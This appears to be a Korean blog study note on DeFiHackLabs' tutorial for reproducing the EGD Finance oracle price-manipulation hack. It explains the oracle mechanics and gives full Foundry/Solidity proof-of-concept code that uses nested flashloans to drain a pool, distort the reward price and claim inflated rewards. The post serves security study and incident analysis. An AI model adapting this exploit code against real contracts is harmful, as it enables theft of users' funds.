새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiHackLabs - 3. Write Your Own PoC

  • -
반응형

PoC를 작성하기 위해 알아야 할 사항

  1. 일반적인 공격에 대한 이해
  2. Smart Contract가 서로 상호작용하는 방식을 포함한 DeFi 메커니즘 이해

DeFi Oracle

현재 가격 및 구성과 같은 Smart Contract의 가격은 스스로 업데이트할 수 없다. Contract logic을 실행하려면 실행 중 외부 데이터가 필요한 경우가 있다. 이는 일반적으로 다음 방법으로 수행된다.

  1. EOA를 통해, 계좌들의 금액을 기준으로 가격을 계산할 수 있다.
  2. 누군가 또는 자신이 관리하는 Oracle을 사용해야 한다. 가격, 이자율 등 외부 데이터가 주기적으로 업데이트된다.

예를 들어 Uniswap V2에서는 거래되는 자산의 상대적 가치를 결정하고, 거래를 실행하는 데 사용되는 자산의 현재 가격을 제공한다.

etherscan에 따라 ETH 가격은 외부 데이터이다. Smart Contract는 Uniswap V2에서 가져온다.

x * y = k 우리는 일반적으로 AMM의 공식을 알고 있다. x(이 경우 ETH 가격) = k / y

그래서 우리는 Uniswap V2 WETC/USDC 거래 쌍 Contract를 살펴봐야 한다. 

발행 시점에 다음과 같은 예비 값이 표시된다.

  • WETC = 28,348.27560256 / USDC = 47,149,259.890137
  • 47,149,259.890137 / 28,348.27560256 = 1,663.214389

시장 가격은 계산된 가격과 몇 % 차이가 날 수 있다. 대부분의 경우 pool에 영향을 미치는 거래 수수료 또는 새로운 거래를 의미. 이 차이는 skim()으로 훑어볼 수 있음

// 현재 ETH 가격을 가져오는 경우 대출 계약의 경우 pesudocode는 다음과 같다.
uint256 UniV2_ETH_Reserve = WETH.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc);
uint256 UniV2_USDC_Reserve = USDC.balanceOf(0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc);
uint256 ETH_Price = UniV2_USDC_Reserve / UniV2_ETH_Reserve;

Oracle Price Manipulation Attack

가장 일반적인 공격

  • Oracle 주소 변경

Root Cause: 확인 메커니즘 부족

  • Flashloan을 통해 유동성을 고갈시켜 Oracle에게 잘못된 가격 제공

이 공격은 특정 함수를 호출하는 공격자에게 자주 나타난다.(GetPrice, Swap, StackingReward, Transfer 등)

Root Cause: 안전하지 않거나 손상된 Oracle을 사용하여 프로토콜 또는 Oracle이 시간 가중 평균 기능을 구현하지 않음

 - balanceOf()가 잘 보호되는지 확인


Step by Step PoC

example: EGD Finance

1단계: 정보 수집

해킹 사고가 발생하면 정보를 수집하고 정리하는 것이 중요

  1. Transaction ID
  2. Attacker Address(EOA)
  3. Attack Contract Address
  4. Vulnerable Address
  5. Total Loss
  6. Reference Links
  7. Post-mortem Links
  8. Vulnerable snippet
  9. Audit History

2단계: 트랜잭션 디버깅

EGD Finance Exploit

Phalcon을 이용한 EGD Finance 사건 분석

Ethererum EVM에서 원격 기능을 트리거하는 3가지 호출 유형을 볼 수 있다.

  • call: 일반적인 cross-contract function호출은 종종 수신자의 Storage를 변경한다.
  • staticCall: 상태 및 변수를 가져오는 데 수신자의 Storage를 변경하지 않는다.
  • delegateCall: msg.sender가 동일하게 유지되며 일반적으로 proxy호출에 사

추가 정보 - 공격자의 Flashloan attack

  1. 공격이 수익성 있는지 확인. 먼저 대출을 받을 수 있는지 확인한 다음 충분한 잔액이 있는지 확인                                                           - 처음에는 staticCall이 일부 표시
  2. DEX 또는 대출 프로토콜을 사용하여 Flashloan을 받고, 다음과 같은 함수를 찾기
    • Uniswap V2, Pancakeswap: .swap()
    • Balancer: flashLoan()
    • DODO: .flashloan()
    • AAVE: .flashLoan()
  3. Flashloan 프로토콜에서 공격자의 Contract로 callback 할 때 다음과 같은 함수 찾기
    • Uniswap V2: .uniswapV2Call()
    • Pancakeswap: .Pancakeswap()
    • Balancer: .receiveFlashLoan()
    • DODO: .DXXFlashLoanCall()
    • AAVE: .executeOperation()
  4. Contract의 취약점으로부터 이익을 얻기 위해 공격을 실행
  5. flashloan 반환하기

전체 호출 스택의 Flow는 사진과 같다. 공격자의 트랜잭션 함수 호출을 분석한 후 몇 가지를 재현해 보자.

3단계: 코드 재구현

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

// Declaring a global variable must be of constant type.
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test { // simulated attacker(EOA)
    Exploit exploit = new Exploit();

    constructor() { // can also be replaced with ‘function setUp() public {}
        // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command."
        cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
        cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
        cheat.label(address(pancakeRouter), "pancakeRouter");
        cheat.label(EGD_Finance, "EGD_Finance");
        cheat.label(usdt, "USDT");
        cheat.label(egd, "EGD");
        /* ------------------------------------------------------------------------------------------- */
        cheat.roll(20245539); //Note: The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time.
        console.log("-------------------------------- Start Exploit ----------------------------------");
    }
    
    function testExploit() public { // To be executed by Foundry testcases, it must be named "test" at the start.
    //To observe the changes in the balance, print out the balance first, before attacking.
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
        emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);

        console.log("Attacker manipulating price oracle of EGD Finance...");
        exploit.harvest(); //A simulation of an EOA call attack
        console.log("-------------------------------- End Exploit ----------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
    }
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance {
    function calculateAll(address addr) external view returns (uint);
}
/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // attack contract
    uint256 borrow1;

    function harvest() public {        
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //profit-taking settlement
    }

    
	function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        console.log("Flashloan[1] received");

        // Weakness exploit...

        // Exchange the stolen EGD Token for USDT
        console.log("Swap the profit...");
        address[] memory path = new address[](2);
        path[0] = egd;
        path[1] = usdt;
        IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(egd).balanceOf(address(this)),
            1,
            path,
            address(this),
            block.timestamp
        );

        bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //Attacker repays 2,000 USDT + 0.5% service fee
        require(suc, "Flashloan[1] payback failed");
    }
}

4단계: Exploit 분석

공격자 Pancakeswap.swap() 함수가 exploit 하기 위해서 함수를 호출. call stack에 두 번째 flashloan call이 있는 것처럼 보임

Pancakeswap은 .swap() interface를 사용하여 공격자 Contract에 대한 callback을 수행.

첫 번째 flashloan에서 0x0000은 callback 데이터로 사용했다.

그러나 2차 flashloan때 공격자는 0x00을 callback 데이터로 사용했다.

이 방법을 통해 공격하는 Contract는 _data 매개변수를 기반으로 어떤 코드를 실행할지 결정할 수 있다.(0x0000 or 0x00)

두 번째 callback동안 공격자는 EGD Finance에서 claimAllReward() 함수만 호출했다.

claimAllReward()의 콜 스택을 확장하면 EGD Finance가 EGD Token과 USDT의 잔액에 대해 0xa361-Cake-LP에 대한 읽기를 한 후 공격자의 Contract에 많은 양의 EGD Token을 전송한 것을 확인할 수 있다.

 

0xa361-Cake-LP Contract는 무엇일까??

etherscan을 통해 어떤 Contract 쌍인지 확인할 수 있다.

etherscan에서 Contract의 처음 두 개의 가장 큰 토큰을 본다. 또는

Contract에 있는 token0, token1의 주소를 확인

claimAllReward()의 취약점을 다음과 같다.

스테이킹 리워드의 금액은 현재 EGD 토큰 가격에 getEGDPrice() 함수를 곱한 것이라고 확인할 수 있다.

그리고 스테이킹 리워드는 EGD 토큰 가격 기준으로 된다. EGD 토큰 가격이 높으면 리워드가 적고 반대도 마찬가지이다.

getEGDPrice() 함수는 Oracle과 같이 x * y = k를 통해 현재 가격을 확인할 수 있다.

그러면 공격자는 이 취약점을 어떻게 활용할까??

기본 메커니즘은 공격자가 두 번째 flashloan에서 많은 양의 USDT를 빌려서 x * y = k공식에 따라 pool 가격에 영향을 미치는 것이다. 그러면 대출금을 반환하기 전에 getEGDPrice() 함수는 부정확해진다.

마지막으로 공격자는 Pancakeswap를 이용하여 EGD Token을 USDT로 교환하여 이익을 얻었다.

5단계: PoC코드 작성

Attack에 대한 PoC

/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // attack contract
    uint256 borrow1;
    uint256 borrow2;


    function harvest() public {        
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization
    }

    
	function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        console.log("Flashloan[1] received");

        if(keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool.
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2]
            console.log("Flashloan[2] payback success");

            // 漏洞利用結束, 把盜取的 EGD Token 換成 USDT
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)),
                1,
                path,
                address(this),
                block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee.
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            // Exploitation...
        }


    }
}

두 번째 flashloan에 대한 PoC

/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // attack contract
    uint256 borrow1;
    uint256 borrow2;


    function harvest() public {        
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Gaining profit
    }

    
	function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        console.log("Flashloan[1] received");

        if(keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool.
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2]
            console.log("Flashloan[2] payback success");

            // Exchange the stolen EGD Token for USDT after the exploit is over.
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)),
                1,
                path,
                address(this),
                block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee.
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
            // -----------------------------------------------------------------
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
            // -----------------------------------------------------------------
            uint256 swapfee = amount1 * 3 / 1000;   // Attacker pay 0.3% fee to Pancakeswap
            bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1+swapfee);
            require(suc, "Flashloan[2] payback failed");         
        }
    }
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance {
    function calculateAll(address addr) external view returns (uint);
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint);
}

 

출처: https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/en

반응형

'Web3 > BlockChain' 카테고리의 다른 글

[BlockChain] DeFiVulnLabs - Selfdestruct  (0) 2023.02.05
[BlockChain] DeFiVulnLabs - Integer overflow  (0) 2023.02.05
[BlockChain] DeFiHackLabs - 2. Warmup  (0) 2023.02.05
[BlockChain] Contract & Assembly  (0) 2023.02.02
[BlockChain] DelegateCall  (0) 2023.02.02
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.